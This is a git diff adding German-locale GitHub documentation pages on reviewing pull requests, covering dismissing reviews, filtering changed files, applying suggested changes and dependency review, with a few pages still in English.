+- [Schreiben auf GitHub](/github/writing-on-github)" {% ifversion fpt or ghec %}- [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" {% endif %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md
new file mode 100644
index 0000000000..cc5832a1db
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md
@@ -0,0 +1,39 @@
+---
+title: Einen Pull-Request-Review ablehnen
+intro: 'Wenn dein Repository Reviews benötigt, kannst du Pull Request-Reviews schließen, die nicht mehr gültig sind oder nicht von Reviewer*innen bestätigt werden können.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review
+  - /articles/dismissing-a-pull-request-review
+  - /github/collaborating-with-issues-and-pull-requests/dismissing-a-pull-request-review
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Dismiss a PR review
+ms.openlocfilehash: 658f0b69a24c622a3b5f75d6e330d132040d62c5
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876945'
+---
+{% data reusables.pull_requests.dismiss_review %} Dies ändert den Reviewstatus zu „Reviewkommentar“. Wenn du einen Review verwirfst, musst du einen Kommentar hinzufügen, in dem du den Grund für deine Entscheidung erklärst. Dein Kommentar wird zur Pull-Request-Unterhaltung hinzugefügt.
+
+{% data reusables.search.requested_reviews_search %}
+
+{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %}
+3. Scrolle auf der Registerkarte „Unterhaltung“ zu dem Review, das du schließen möchtest, und klicke dann auf {% octicon "chevron-down" aria-label="The down button" %}. ![Chevron-Symbol (spitze Klammer) im Merge-Feld](/assets/images/help/pull_requests/merge_box/pull-request-open-menu.png)
+4. Klicke auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Review schließen**.
+![Symbol mit drei Punkten im Mergefeld](/assets/images/help/pull_requests/merge_box/pull-request-dismiss-review.png)
+5. Gib den Grund für die Schließung des Reviews ein, und klicke dann auf **Review schließen**.
+  ![Schaltfläche zum Schließen eines Reviews](/assets/images/help/pull_requests/merge_box/pull-request-dismiss-review-button.png)
+
+## Weitere Informationsquellen
+
+- [Informationen zu Pull Request-Reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)
+- [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+- [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
new file mode 100644
index 0000000000..6e34b30386
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
@@ -0,0 +1,66 @@
+---
+title: Dateien in einem Pull Request filtern
+intro: 'Zum schnellen Überprüfen von Änderungen an einem großen Pull Request kannst du geänderte Dateien filtern{% ifversion pr-tree-view %} oder die Dateistruktur zum navigieren zwischen Dateien verwenden{% endif %}.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
+  - /articles/filtering-files-in-a-pull-request-by-file-type
+  - /articles/filtering-files-in-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/filtering-files-in-a-pull-request
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Filter files
+ms.openlocfilehash: 1ca50334e4329d40ee164cd01523abc69e127ab3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884173'
+---
+Du kannst Dateien in einem Pull Request nach Dateierweiterungstyp filtern,wie z. B. `.html` oder `.js`, nach fehlender Erweiterung, Codebesitz oder Dotfiles.{% ifversion pr-tree-view %} Mit der Dateistruktur kannst du auch nach Dateipfad filtern, zwischen Dateien navigieren oder eine allgemeine Ansicht der geänderten Dateien anzeigen.{% endif %}
+
+## Verwenden des Dropdownmenüs „Dateifilter“
+
+{% tip %}
+
+**Tipp**: Um die Diff-Ansicht deines Pull Requests zu vereinfachen, kannst du Dateien, die gelöscht wurden oder die du bereits in der Pull Request-Diff-Ansicht angesehen hast, vorübergehend aus dem Dropdownmenü „Dateifilter“ ausblenden.
+
+{% endtip %}
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, nach dem du filtern möchtest.
+{% data reusables.repositories.changed-files %}
+4. Im Dropdownmenü „File filter“ (Dateifilter) kannst du die gewünschten Filter auswählen, deaktivieren oder anklicken.
+  ![Dateifilter-Option oberhalb der Pull-Request-Diff-Ansicht](/assets/images/help/pull_requests/file-filter-option.png)
+5. Klicke optional auf der Registerkarte **Geänderte Dateien** auf **Löschen**, um die Filterauswahl zu deaktivieren.
+  ![Löschen der Dateifilterauswahl](/assets/images/help/pull_requests/clear-file-filter.png)
+
+{% ifversion pr-tree-view %}
+## Verwenden der Dateistruktur
+
+{% data reusables.repositories.sidebar-pr %}
+1. Klicke in der Liste der Pull Requests auf den Pull Request, nach dem du filtern möchtest.
+{% data reusables.repositories.changed-files %}
+
+1. Klicke auf eine Datei in der Dateistruktur, um die entsprechenden Datei-Diff-Ansicht anzuzeigen. Wenn die Dateistruktur ausgeblendet ist, klicke auf {% octicon "sidebar-collapse" aria-label="The sidebar collapse icon" %}, um sie anzuzeigen.
+
+   {% note %}
+
+   **Hinweis**: Die Dateistruktur wird nicht angezeigt, wenn der Bildschirm nicht breit genug ist oder der Pull Request nur eine Datei enthält.
+
+   {% endnote %}
+   
+   ![Screenshot des Suchfelds „Geänderte Dateien filtern“ und der hervorgehobenen Dateistruktur](/assets/images/help/repository/file-tree.png)
+1. Um nach Dateipfad zu filtern, gib den Dateipfad ganz oder teilweise im Suchfeld **Nach geänderten Dateien filtern** ein. Alternativ dazu kannst du auch das Dropdownmenü „Dateifilter“ verwenden. Weitere Informationen findest du unter [Verwenden des Dropdownmenüs „Dateifilter“](#using-the-file-filter-dropdown).
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Informationen zum Vergleichen von Branches in einem Pull Request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)
+- [Suchen nach geänderten Methoden und Funktionen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md
new file mode 100644
index 0000000000..b59687fb07
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request.md
@@ -0,0 +1,52 @@
+---
+title: Geänderte Methoden und Funktionen in einem Pull Request suchen
+intro: 'Du kannst vorgeschlagene Änderungen an einer Methode oder Funktion in einem Pull Request schnell in den *.go*-, *.js*-, *.ts*-, *.py*-, *.php*- und *.rb*-Dateien finden.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request
+  - /articles/finding-changed-methods-and-functions-in-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/finding-changed-methods-and-functions-in-a-pull-request
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Methods & functions
+ms.openlocfilehash: be891fe01166ee0eccf9ba7c824a1017c9d8fc11
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133702'
+---
+Jeder, der Lesezugriff auf ein Repository hat, kann eine zusammenfassende Liste der Funktions- und Methodenänderungen in bestimmten Dateien eines Pull Requests anzeigen.
+
+Die zusammenfassende Liste der Methoden und Funktionen wird aus den folgenden unterstützten Dateitypen erstellt:
+  - Go
+  - JavaScript (inkl. Typescript, Flow und anderer Arten von JavaScript)
+  - PHP
+  - Python
+  - Ruby
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, in dem du geänderte Funktionen und Methoden suchen möchtest.
+{% data reusables.repositories.changed-files %}
+4. Um eine zusammenfassende Liste der geänderten Funktionen und Methoden zu sehen, klicke auf **Gehe zu...**. ![Dropdownmenü „Springen zu“](/assets/images/help/pull_requests/jump-to-menu.png).
+5. Wähle die geänderte Funktion oder Methode aus dem Dropdownmenü aus. Du kannst auch den Namen der Funktion oder Methode eingeben, um die Ergebnisse zu filtern.
+  ![Filtern von Funktionen und Methoden](/assets/images/help/pull_requests/filter-function-and-methods.png)
+
+ {% note %}
+
+ **Hinweis:** Wenn dir nicht die erwarteten Funktionen oder Methoden angezeigt werden, vergewissere dich, dass dein Code kompiliert werden kann und keine Fehler enthält. Im Dropdownmenü werden nur Funktionen und Methoden angezeigt, die in diesem Pull Request geändert wurden und sich in Dateien mit den Erweiterungen *.go*, *.js*, *.ts*, *.py*, *.php* und *.rb* befinden.
+
+ {% endnote %}
+
+6. Du wirst zur ersten Zeile der von Dir ausgewählten Funktion oder Methode weitergeleitet.
+ ![Anzeigen einer Funktion oder Methode in geänderten Dateien](/assets/images/help/pull_requests/view-selected-function-or-method.png)
+
+## Weiterführende Themen
+
+- [Informationen zum Vergleichen von Branches in einem Pull Request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)
+- [Filtern von Dateien in einem Pull Request nach Dateityp](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md
new file mode 100644
index 0000000000..391164adbe
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request.md
@@ -0,0 +1,58 @@
+---
+title: Feedback in Deinen Pull Request aufnehmen
+intro: 'Wenn Reviewer Änderungen in einem Pull Request vorschlagen, kannst du diese Änderungen automatisch in den Pull Request aufnehmen oder einen Issue öffnen, um Vorschläge außerhalb des Geltungsbereichs zu verfolgen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request
+  - /articles/incorporating-feedback-in-your-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Incorporate feedback
+ms.openlocfilehash: b94c7ddc682b1e53077770877140eb2a218a19de
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145133866'
+---
+## Umsetzung von vorgeschlagenen Änderungen
+
+Andere Personen können spezifische Änderungen für Deinen Pull Request vorschlagen. Du kannst diese vorgeschlagenen Änderungen direkt in einem Pull Request anwenden, wenn Du Schreibzugriff auf das Repository hast. Wenn der Pull Request von einem Fork erstellt wurde und der Autor Bearbeitungen durch Betreuer zugelassen hat, kannst Du vorgeschlagene Änderungen auch dann anwenden, wenn Du Schreibzugriff auf das vorgelagerte Repository besitzt. Weitere Informationen findest du unter [Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) und [Zulassen von Änderungen an einem aus einem Fork erstellten Pull Request-Branch](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork).
+
+Um schnell mehrere vorgeschlagene Änderungen in einem einzigen Commit zu implementieren, kannst Du die vorgeschlagenen Änderungen auch als Stapel anwenden. Beim Anwenden einer vorgeschlagenen Änderungen oder eines Stapels an vorgeschlagenen Änderungen wird ein einzelner Commit auf dem Vergleichsbranch des Pull Requests erstellt.
+
+Jede Person, die eine der Änderungen des Commits vorgeschlagen hat, wird Co-Autor des Commits. Die Person, die die vorgeschlagenen Änderungen übernimmt, wird Co-Autor und Beitragender des Commits. Weitere Informationen zum Benennungscommitter in Git findest du unter [Git-Grundlagen – Anzeigen des Commitverlaufs](https://git-scm.com/book/en/v2/Git-Basics-Viewing-the-Commit-History) auf der Buchwebsite _Pro Git_.
+
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, auf den Du eine vorgeschlagene Änderung anwenden möchtest.
+3. Navigiere zur ersten vorgeschlagenen Änderung, die Du anwenden möchtest.
+    - Um die Änderung in ihrem eigenen Commit anzuwenden, klicke auf **Vorschlag committen**.
+  ![Schaltfläche „Vorschlag committen“](/assets/images/help/pull_requests/commit-suggestion-button.png)
+    - Um den Vorschlag zu einem Batch mit Änderungen hinzuzufügen, klicke auf **Vorschlag zu Batch hinzufügen**. Füge alle anderen vorgeschlagenen Änderungen hinzu, die Du in einen einzelnen Commit einfügen möchtest. Wenn du mit dem Hinzufügen der vorgeschlagenen Änderungen fertig bist, klicke auf **Vorschläge committen**.
+  ![Schaltfläche „Vorschlag zu Batch hinzufügen“](/assets/images/help/pull_requests/add-suggestion-to-batch.png)
+4. Gib im Feld für die Commit-Mitteilung eine kurze, aussagekräftige Commit-Mitteilung ein, die die Änderung beschreibt, die Du an der Datei oder den Dateien vorgenommen hast.
+![Feld für Commitnachricht](/assets/images/help/pull_requests/suggested-change-commit-message-field.png)
+5. Klicke auf **Änderungen committen**.
+![Schaltfläche „Änderungen committen“](/assets/images/help/pull_requests/commit-changes-button.png)
+
+## Erneutes Anfordern eines Reviews
+
+{% data reusables.pull_requests.re-request-review %}
+
+## Öffnen eines Issue für Vorschläge außerhalb des Geltungsbereichs
+
+Wenn jemand Änderungen an Deinem Pull Request vorschlägt und die Änderungen nicht in den Pull-Request-Geltungsbereich fallen, kannst Du einen neuen Issue öffnen, um das Feedback zu verfolgen. Weitere Informationen findest du unter [Einen Issue aus einem Kommentar öffnen](/github/managing-your-work-on-github/opening-an-issue-from-a-comment).
+
+## Weiterführende Themen
+
+- [Informationen zu Pull Request-Reviews](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews)
+- [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+- [Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)
+- [Anfordern eines Pull Request-Reviews](/github/collaborating-with-issues-and-pull-requests/requesting-a-pull-request-review)
+- [Öffnen eines Issues aus einem Kommentar](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
new file mode 100644
index 0000000000..c198384562
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
@@ -0,0 +1,36 @@
+---
+title: Änderungen in Pull Requests überprüfen
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests
+  - /articles/reviewing-and-discussing-changes-in-pull-requests
+  - /articles/reviewing-changes-in-pull-requests
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests
+intro: Nach dem Öffnen eines Pull Requests kannst du die darin vorgeschlagenen Änderungen überprüfen und diskutieren.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /about-pull-request-reviews
+  - /reviewing-proposed-changes-in-a-pull-request
+  - /filtering-files-in-a-pull-request
+  - /finding-changed-methods-and-functions-in-a-pull-request
+  - /commenting-on-a-pull-request
+  - /viewing-a-pull-request-review
+  - /reviewing-dependency-changes-in-a-pull-request
+  - /incorporating-feedback-in-your-pull-request
+  - /approving-a-pull-request-with-required-reviews
+  - /dismissing-a-pull-request-review
+  - /checking-out-pull-requests-locally
+shortTitle: Review changes
+ms.openlocfilehash: e190c75efdf4a9813b50ccc817c2bd2a19c2393a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133865'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md
new file mode 100644
index 0000000000..141f27d805
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md
@@ -0,0 +1,88 @@
+---
+title: Reviewing dependency changes in a pull request
+intro: 'If a pull request contains changes to dependencies, you can view a summary of what has changed and whether there are known vulnerabilities in any of the dependencies.'
+product: '{% data reusables.gated-features.dependency-review %}'
+versions:
+  fpt: '*'
+  ghes: '>= 3.2'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Pull requests
+  - Dependency review
+  - Advanced Security
+  - Vulnerabilities
+  - Dependencies
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-dependency-changes-in-a-pull-request
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request
+shortTitle: Review dependency changes
+---
+<!--Marketing-LINK: From /features/security/software-supply-chain page "Sign up for the dependency review beta" and "Reviewing dependency changes in a pull request".-->
+
+## About dependency review
+
+{% data reusables.dependency-review.feature-overview %}
+
+{% ifversion ghec %}Before you can use dependency review in a private repository, you must enable the dependency graph. For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."{% endif %}
+
+{% ifversion ghes %} Before you can use dependency review, you must enable the dependency graph and connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling alerts for vulnerable dependencies on {% data variables.product.prodname_ghe_server %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server)."{% endif %}
+
+Dependency review allows you to "shift left". You can use the provided predictive information to catch vulnerable dependencies before they hit production. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+
+{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+
+You can use the {% data variables.product.prodname_dependency_review_action %} to help enforce dependency reviews on pull requests in your repository. {% data reusables.dependency-review.dependency-review-action-overview %}
+
+{% ifversion dependency-review-action-configuration %}
+You can configure the {% data variables.product.prodname_dependency_review_action %} to better suit your needs by specifying the type of dependency vulnerability you wish to catch. For more information, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)." 
+{% endif %}
+
+{% endif %}
+## Reviewing dependencies in a pull request
+
+{% data reusables.repositories.sidebar-pr %}
+{% data reusables.repositories.choose-pr-review %}
+{% data reusables.repositories.changed-files %}
+
+1. If the pull request contains many files, use the **File filter** drop-down menu to collapse all files that don't record dependencies. This will make it easier to focus your review on the dependency changes.
+
+   ![The file filter menu](/assets/images/help/pull_requests/file-filter-menu-json.png)
+   The dependency review provides a clearer view of what has changed in large lock files, where the source diff is not rendered by default.
+
+  {% note %}
+
+   **Note:** Dependency review rich diffs are not available for committed static JavaScript files like `jquery.js`.
+
+   {% endnote %}
+
+1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button.
+
+   ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
+
+2. Check the dependencies listed in the dependency review.
+
+   ![Vulnerability warnings in a dependency review](/assets/images/help/pull_requests/dependency-review-vulnerability.png)
+
+   Any added or changed dependencies that have vulnerabilities are listed first, ordered by severity and then by dependency name. This means that the highest severity dependencies are always at the top of a dependency review. Other dependencies are listed alphabetically by dependency name.
+
+   The icon beside each dependency indicates whether the dependency has been added (<span style="color:#22863a">{% octicon "diff-added" aria-label="Dependency added icon" %}</span>), updated (<span style="color:#b08800">{% octicon "diff-modified" aria-label="Dependency modified icon" %}</span>), or removed (<span style="color:#cb2431">{% octicon "diff-removed" aria-label="Dependency removed icon" %}</span>) in this pull request.
+
+   Other information includes:
+
+   * The version, or version range, of the new, updated, or deleted dependency.
+   * For a specific version of a dependency:
+      * The age of that release of the dependency.
+      * The number of projects that are dependent on this software. This information is taken from the dependency graph. Checking the number of dependents can help you avoid accidentally adding the wrong dependency.
+      * The license used by this dependency, if this information is available. This is useful if you want to avoid code with certain licenses being used in your project.
+
+   Where a dependency has a known vulnerability, the warning message includes:
+
+   * A brief description of the vulnerability.
+   * A Common Vulnerabilities and Exposures (CVE) or {% data variables.product.prodname_security_advisories %} (GHSA) identification number. You can click this ID to find out more about the vulnerability.
+   * The severity of the vulnerability.
+   * The version of the dependency in which the vulnerability was fixed. If you are reviewing a pull request for someone, you might ask the contributor to update the dependency to the patched version, or a later release.
+
+{% data reusables.repositories.return-to-source-diff %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
new file mode 100644
index 0000000000..0983d49c96
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
@@ -0,0 +1,124 @@
+---
+title: Reviewing proposed changes in a pull request
+intro: 'In a pull request, you can review and discuss commits, changed files, and the differences (or "diff") between the files in the base and compare branches.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request
+  - /articles/reviewing-proposed-changes-in-a-pull-request
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-proposed-changes-in-a-pull-request
+  - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Review proposed changes
+---
+## About reviewing pull requests
+
+You can review changes in a pull request one file at a time. While reviewing the files in a pull request, you can leave individual comments on specific changes. After you finish reviewing each file, you can mark the file as viewed. This collapses the file, helping you identify the files you still need to review. A progress bar in the pull request header shows the number of files you've viewed. After reviewing as many files as you want, you can approve the pull request or request additional changes by submitting your review with a summary comment.
+
+{% data reusables.search.requested_reviews_search_tip %}
+
+## Starting a review
+
+{% webui %}
+
+{% data reusables.repositories.sidebar-pr %}
+{% data reusables.repositories.choose-pr-review %}
+{% data reusables.repositories.changed-files %}
+{% ifversion fpt or ghec or ghes > 3.3 or ghae %}
+
+   You can change the format of the diff view in this tab by clicking {% octicon "gear" aria-label="The Settings gear" %} and choosing the unified or split view. The choice you make will apply when you view the diff for other pull requests.
+
+   ![Diff view settings](/assets/images/help/pull_requests/diff-view-settings.png)
+
+   You can also choose to hide whitespace differences. The choice you make only applies to this pull request and will be remembered the next time you visit this page.
+{% endif %}
+1. Optionally, filter the files to show only the files you want to review{% ifversion pr-tree-view %} or use the file tree to navigate to a specific file{% endif %}. For more information, see "[Filtering files in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."
+{% data reusables.repositories.start-line-comment %}
+{% data reusables.repositories.type-line-comment %}
+{% data reusables.repositories.suggest-changes %}
+1. When you're done, click **Start a review**. If you have already started a review, you can click **Add review comment**.
+
+   ![Start a review button](/assets/images/help/pull_requests/start-a-review-button.png)
+
+Before you submit your review, your line comments are _pending_ and only visible to you. You can edit pending comments anytime before you submit your review. To cancel a pending review, including all of its pending comments, scroll down to the end of the timeline on the Conversation tab, then click **Cancel review**.
+
+![Cancel review button](/assets/images/help/pull_requests/cancel-review-button.png)
+{% endwebui %}
+
+{% ifversion fpt or ghec %}
+
+{% codespaces %}
+
+You can use [{% data variables.product.prodname_github_codespaces %}](/codespaces/overview) to test, run, and review pull requests.
+
+1. Open the pull request in a codespace, as described in "[Opening a pull request](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)."
+1. In the Activity Bar, click the **GitHub Pull Request** view. This view only appears when you open a pull request in a codespace.
+
+   ![Option to open PR in a codespace](/assets/images/help/codespaces/github-pr-view.png)
+
+1. To review a specific file, click the **Open File** icon in the Side Bar.
+
+   ![Option to open PR in a codespace](/assets/images/help/codespaces/changes-in-files.png)
+
+1. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**.
+
+   ![Option to open PR in a codespace](/assets/images/help/codespaces/start-review.png)
+
+1. When you are finished adding review comments, from the Side Bar you can choose to either submit the comments, approve the changes, or request changes.
+
+   ![Option to open PR in a codespace](/assets/images/help/codespaces/submit-review.png)
+
+For more information on reviewing pull requests in {% data variables.product.prodname_github_codespaces %}, see "[Using {% data variables.product.prodname_github_codespaces %} for pull requests](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests)."
+
+{% endcodespaces %}
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+## Reviewing dependency changes
+
+If the pull request contains changes to dependencies you can use the dependency review for a manifest or lock file to see what has changed and check whether the changes introduce security vulnerabilities. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."
+
+{% data reusables.repositories.changed-files %}
+
+1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button.
+
+   ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
+
+{% data reusables.repositories.return-to-source-diff %}
+{% endif %}
+
+## Marking a file as viewed
+
+After you finish reviewing a file, you can mark the file as viewed, and the file will collapse. If the file changes after you view the file, it will be unmarked as viewed.
+
+{% data reusables.repositories.changed-files %}
+2. On the right of the header of the file you've finished reviewing, select **Viewed**.
+
+   ![Viewed checkbox](/assets/images/help/pull_requests/viewed-checkbox.png)
+
+## Submitting your review
+
+After you've finished reviewing all the files you want in the pull request, submit your review.
+
+{% data reusables.repositories.changed-files %}
+{% data reusables.repositories.review-changes %}
+{% data reusables.repositories.review-summary-comment %}
+4. Select the type of review you'd like to leave:
+
+   ![Radio buttons with review options](/assets/images/help/pull_requests/pull-request-review-statuses.png)
+
+    - Select **Comment** to leave general feedback without explicitly approving the changes or requesting additional changes.
+    - Select **Approve** to submit your feedback and approve merging the changes proposed in the pull request.
+    - Select **Request changes** to submit feedback that must be addressed before the pull request can be merged.
+{% data reusables.repositories.submit-review %}
+
+{% data reusables.repositories.request-changes-tips %}
+
+## Further reading
+
+- "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)"
+- "[Filtering pull requests by review status](/github/managing-your-work-on-github/filtering-pull-requests-by-review-status)"
